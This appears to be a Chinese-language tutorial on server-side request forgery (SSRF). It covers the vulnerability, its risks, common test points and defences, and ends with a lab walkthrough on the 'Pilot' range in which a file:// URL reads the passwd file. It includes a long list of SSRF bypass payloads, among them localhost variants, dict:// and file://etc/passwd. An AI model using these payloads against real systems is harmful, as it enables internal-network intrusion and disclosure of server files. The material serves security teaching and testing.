理论基础
-
SSRF漏洞介绍
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。
-
SSRF漏洞原理
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用发起请求获取数据的功能,但没有对目标地址做过滤与限制。攻击者在访问Web服务器(A)的特定功能时,构造恶意payload致使由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
简而言之:SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
- SSRF漏洞危害(利用方式)
- 对外网及服务器所在内网进行端口扫描(逐个试探),获取一些服务的banner信息。
- 攻击运行在内网或本地的应用程序。
- 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)。
- 攻击内、外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2、SQL注入等)。
- 下载内网资源,利用file协议读取本地文件或资源等。
- 内部任意主机的任意端口发送精心构造的Payload。
- DOS攻击(请求大文件,始终保持连接Keep-Alive Always)。
- 进行跳板。
- 利用Redis未授权访问,HTTP CRLF注入等实现GetShell。
- SSRF常见攻击点(测试点)
-
社交分享功能:获取超链接的标题等内容进行显示。
-
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
-
在线翻译:给网址翻译对应网页的内容。
-
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片。
-
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验。
-
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试。
-
网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作。
-
数据库内置功能:数据库的比如mongodb的copyDatabase函数。
-
邮件系统:比如接收邮件服务器地址。
-
编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等。
-
未公开的api实现以及其他扩展调用URL的功能,可以利用google 语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
-
-
SSRF测试常用Payload及简单绕过手法
https://pilot.com http://pilot.com http://www.example.com.pilot.com https://www.example.com.pilot.com http://pilot.com/www.example.com https://pilot.com/www.example.com http://www.example.com?url=http://pilot.com https://www.example.com?url=https://pilot.com /pilot.com //pilot.com ///pilot.com pilot.com ///pilot.com//.. pilot.com//.. http://www.example.com@www.pilot.com https://www.example.com@www.pilot.com http://www.pilot.com\www.example.com https://www.pilot.com\www.example.com http://www.pilot.com#www.example.com https://www.pilot.com#www.example.com http://www.pilot.com?www.example.com https://www.pilot.com?www.example.com http://www.pilot.com\\www.example.com https://www.pilot.com\\www.example.com .pilot.com .baidu 127.0.0.1 127.0.0.1:80 http://localhost https://localhost 0x7f.0.0.1 0 0.0.0.0 dict://127.0.0.1:80 file://etc/passwd //example.com@google.com/%2f.. ///google.com/%2f.. ///example.com@google.com/%2f.. google.com/%2f.. https://google.com/%2f.. https://example.com@google.com/%2f.. /https://google.com/%2f.. /https://example.com@google.com/%2f.. //google.com/%2f%2e%2e //example.com@google.com/%2f%2e%2e ///google.com/%2f%2e%2e ///example.com@google.com/%2f%2e%2e google.com/%2f%2e%2e /http://example.com /http:/example.com /https:/%5cexample.com/ /https://%09/example.com /https://%5cexample.com /https:///example.com/%2e%2e /https:///example.com/%2f%2e%2e /https://example.com /https://example.com/ /https://example.com/%2e%2e /https://example.com/%2e%2e%2f /https://example.com/%2f%2e%2e /https://example.com/%2f.. /https://example.com// /https:example.com /%09/example.com /%2f%2fexample.com /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/ /%5cexample.com /%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d /.example.com //%09/example.com //%5cexample.com ///%09/example.com ///%5cexample.com %09/example.com %5cexample.com /example.com /example.com/ \;@example.com example.com/
- SSRF进阶知识
- DNS Rebinding:知乎-Web-SSRF-DNS重绑定
- Gopher攻击Redis:Gopher协议在SSRF中的应用
- ……
-
SSRF的防御
SSRF的防御比较复杂,需要根据业务实际场景来采取不同的方案,不同的代码有不同的修补策略。常规的修复方案如下:
- 限制协议为HTTP、HTTPS,禁用不需要的协议可以防止类似于file://, gopher://, ftp:// 等引起的问题。
- 禁止30x跳转。
- 设置URL白名单或者限制内网IP。
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
- 限制请求的端口为http常用的端口,比如 80、443、8080、8090。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
实践学习
漏洞环境以Pilot靶场为例:下载地址与部署教程
-
进入漏洞页面后,抓包,并点击链接留给初学者的一段话:
-
发现请求了其他网页的文件内容,并展示在前端页面:
-
修改请求连接的参数
url
,尝试使用file://
伪协议读取本地文件内容: -
成功读取passwd文件。注意,这里只开放了
file/http/https
协议。